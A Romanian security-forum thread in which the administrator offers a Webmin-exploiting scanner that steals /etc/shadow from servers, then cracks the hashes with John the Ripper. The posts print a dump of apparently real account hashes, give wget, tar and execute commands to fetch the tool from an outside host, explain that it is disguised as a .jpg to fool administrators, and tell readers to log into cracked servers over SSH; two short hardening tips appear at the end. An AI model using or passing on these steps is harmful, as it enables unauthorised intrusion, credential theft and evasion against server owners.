Security.MyForum.ro Security.MyForum.ro
BackTrack Linux - Penetration Testing Distribution		 Security.MyForum.ro
FAQFAQ  SearchSearch  RegisterRegister  ProfileProfile  MemberlistMemberlist  UsergroupsUsergroups  Log in to check your private messagesLog in to check your private messages  Log inLog in 

John The Ripper !

 
Reply to topic    Security.MyForum.ro Forum Index -> John The Ripper + webmin
View previous topic :: View next topic  
Author Message
MAD
Administrator
Administrator
MAD

Joined: 19 Oct 2007
Posts: 16
Location: Braila/Romania
PostPosted: 21/10/2007 04:27    Post subject: John The Ripper ! Reply with quote
Deci .. ce avem noi aici ..
John The Ripper = Password cracker ( unul din cele mai bune )
Webmin = Administrare de sistem, HTTP, FTP, MySQL + numeroase altele .. ceva gen CPanel.

Scannerul foloseste o vulnerabilitate din Webmin .. mai precis acest scanner fura de pe serverele care folosesc Webmin lista cu parole de pe sistem (oricum criptate ) si anume /etc/shadow .
Exemplu :

Code:
[root@ns phpbb]# cat /etc/shadow
root:$1$N.AjMIP8$fz3Ry0mKeuN0MNIg.VXUn1:13798:0:99999:7:::
wb1003:$1$LtUAn5sQ$bvAfjLSjA5ghVOMUDh8iw/:13798:0:99999:7:::
webnamu:$1$/ClFR7XM$1UK2mt0EmYPq/4bKMV8Gq/:13798:0:99999:7:::
shopsclub:$1$I/dlLHpY$qGdg5Fg3QxFr2yjoG/9wu.:13798:0:99999:7:::
clicknara:$1$3793fg4Z$tNbraRMLyhBqy8aQobElJ/:13798:0:99999:7:::
koreanmatch:$1$iKJQNK6N$dxd2X30LwIJwVVjKQCPO./:13798:0:99999:7:::
jamaek:$1$rpbDUcvA$FEDhLM9HvfLolC3hBXtNc0:13798:0:99999:7:::
sportsibk:$1$CCETsmGv$aavzfEmHsubojwuzfeKn91:13798:0:99999:7:::
o2tree:$1$jsF6IHQS$akyv4mz/g9ArqcYn0rRje0:13798:0:99999:7:::
hima:$1$bMFZeEkg$B4/..NQFkkc64vvXxK8xc.:13798:0:99999:7:::
koreanloan:$1$MkHBv99b$10jsFevo/KuKT3M/NCkDw0:13798:0:99999:7:::
george:$1$GrXUmfnf$0BDoReaj4Pdh7JgJ0jqA5.:13798:0:99999:7:::
georgel:$1$iXMRcCLm$r3FueKwTvakMqBARA5h2q0:13798:0:99999:7:::
anda:$1$OaSfJFDl$I1A3UaSgJQHZXeWk3keHJ1:13798:0:99999:7:::
shop:$1$hNecPVHj$v.dJnk2Ee6Rik/U/rQLDq0:13798:0:99999:7:::
[root@ns phpbb]#


Dupa ce scannerul gaseste acest fisier cu parole .. foloseste John The Ripper pentru a sparge aceste asa zise Hash-uri (parole criptate).

Puteti lua acest scanner de aici :

wget free.prohosting.com/icesunos/webmin.jpg
tar zxvf webmin.jpg

chmod +x *
./start x.x

Dupa ce termina de scanat o clasa o sa va arate jos niste ip-uri.
folositi ./john ip pentru a incerca sa sparge acele hash-uri .
Daca reuseste sa sparga o parola o sa va arate userul si parola.
Va conectati prin ssh 22 cu userul si parola.

Metoda de securizare impotriva acestui scanner.

Metoda 1.

Upgradati Webminul cu ultima versiune gasita pe site-ul lor
[url]http://webmin.com/ [/url]

Metoda 2.

Schimbati portul pe care ruleaza Webminul .. portul default este 10000.
Acest scanner cauta servere cu portul 10000 deschis .. adica portul Webmin.
Portul se poate schimba foarte usor din configuratia Webminului.

Cam atat si despre acest scanner si securizarea lui.
Va astept cu comentarii si alte metode de securizare.
_________________
#############################
# Don't fOrce iT .. use a bigger HammeR ! #
#############################

[url=http://www.WorldMonitoring.Co.Cc]World Wide News[/url]

Last edited by MAD on 11/06/2008 00:12; edited 1 time in total
Back to top
View user's profile Send private message Send e-mail
Author Message
unprimar112
Junior
Junior


Joined: 10 Jun 2008
Posts: 4
PostPosted: 10/06/2008 23:42    Post subject: Reply with quote
nu e valid linkul de download unde pot gasi john the ripper +webmin ???
_________________
yos
Back to top
View user's profile Send private message
Author Message
MAD
Administrator
Administrator
MAD

Joined: 19 Oct 2007
Posts: 16
Location: Braila/Romania
PostPosted: 11/06/2008 00:12    Post subject: Reply with quote
Am updatat linkul .. il poti downloada acum.
_________________
#############################
# Don't fOrce iT .. use a bigger HammeR ! #
#############################

[url=http://www.WorldMonitoring.Co.Cc]World Wide News[/url]
Back to top
View user's profile Send private message Send e-mail
Author Message
unprimar112
Junior
Junior


Joined: 10 Jun 2008
Posts: 4
PostPosted: 11/06/2008 00:16    Post subject: Reply with quote
http://fire.prohosting.com/icesunos/webmin.jpg cred ca ai gresit :( .Iti multumesc orikum chiar daca nu reusesc sal iau :(
_________________
yos
Back to top
View user's profile Send private message
Author Message
MAD
Administrator
Administrator
MAD

Joined: 19 Oct 2007
Posts: 16
Location: Braila/Romania
PostPosted: 11/06/2008 00:20    Post subject: Reply with quote
unprimar112 wrote:
http://fire.prohosting.com/icesunos/webmin.jpg cred ca ai gresit :( .Iti multumesc orikum chiar daca nu reusesc sal iau :(


http://free.prohosting.com/icesunos/webmin.jpg

Asta este .

Dai
Code:
wget free.prohosting.com/icesunos/webmin.jpg

_________________
#############################
# Don't fOrce iT .. use a bigger HammeR ! #
#############################

[url=http://www.WorldMonitoring.Co.Cc]World Wide News[/url]
Back to top
View user's profile Send private message Send e-mail
Author Message
unprimar112
Junior
Junior


Joined: 10 Jun 2008
Posts: 4
PostPosted: 11/06/2008 00:26    Post subject: Reply with quote
nu poti [psta un link in unde scannerul sa fie .tar.gz???
_________________
yos
Back to top
View user's profile Send private message
Author Message
MAD
Administrator
Administrator
MAD

Joined: 19 Oct 2007
Posts: 16
Location: Braila/Romania
PostPosted: 11/06/2008 00:31    Post subject: Reply with quote
unprimar112 wrote:
nu poti [psta un link in unde scannerul sa fie .tar.gz???


Daca ii dai wget free.prohosting.com/icesunos/webmin.jpg
O sa iti salveze in root webmin.jpg
Apoi dai tar zxvf webmin.jpg

Si o sa il dezarhiveze .

Extensia JPG este ca sa nu se prinda adminii ca webmin este un scanner .
_________________
#############################
# Don't fOrce iT .. use a bigger HammeR ! #
#############################

[url=http://www.WorldMonitoring.Co.Cc]World Wide News[/url]
Back to top
View user's profile Send private message Send e-mail
Author Message
zizu
Junior
Junior


Joined: 08 Nov 2008
Posts: 2
PostPosted: 08/11/2008 17:47    Post subject: VRAJEALA Reply with quote
HTTP request sent, awaiting response... 200 OK
Length: 10,805 [image/jpeg]

100%[====================================>] 10,805 9.28K/s

23:46:32 (9.27 KB/s) - `webmin.jpg' saved [10,805/10,805]


Trageti singuri concluziile ! ;)
Back to top
View user's profile Send private message
Author Message
Napster
Junior
Junior


Joined: 16 Dec 2011
Posts: 1
PostPosted: 23/02/2012 21:54    Post subject: Reply with quote
are cineva un link actualizat cu acest scanner ... dar sa fie acceasi versiune... nu cele mai noi Smile
Back to top
View user's profile Send private message
Display posts from previous:   
Reply to topic    Security.MyForum.ro Forum Index -> John The Ripper + webmin All times are GMT + 2 Hours
Page 1 of 1

 
Jump to:  
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
Fa-ti si tu propriul forum GRATUIT, pe www.myforum.ro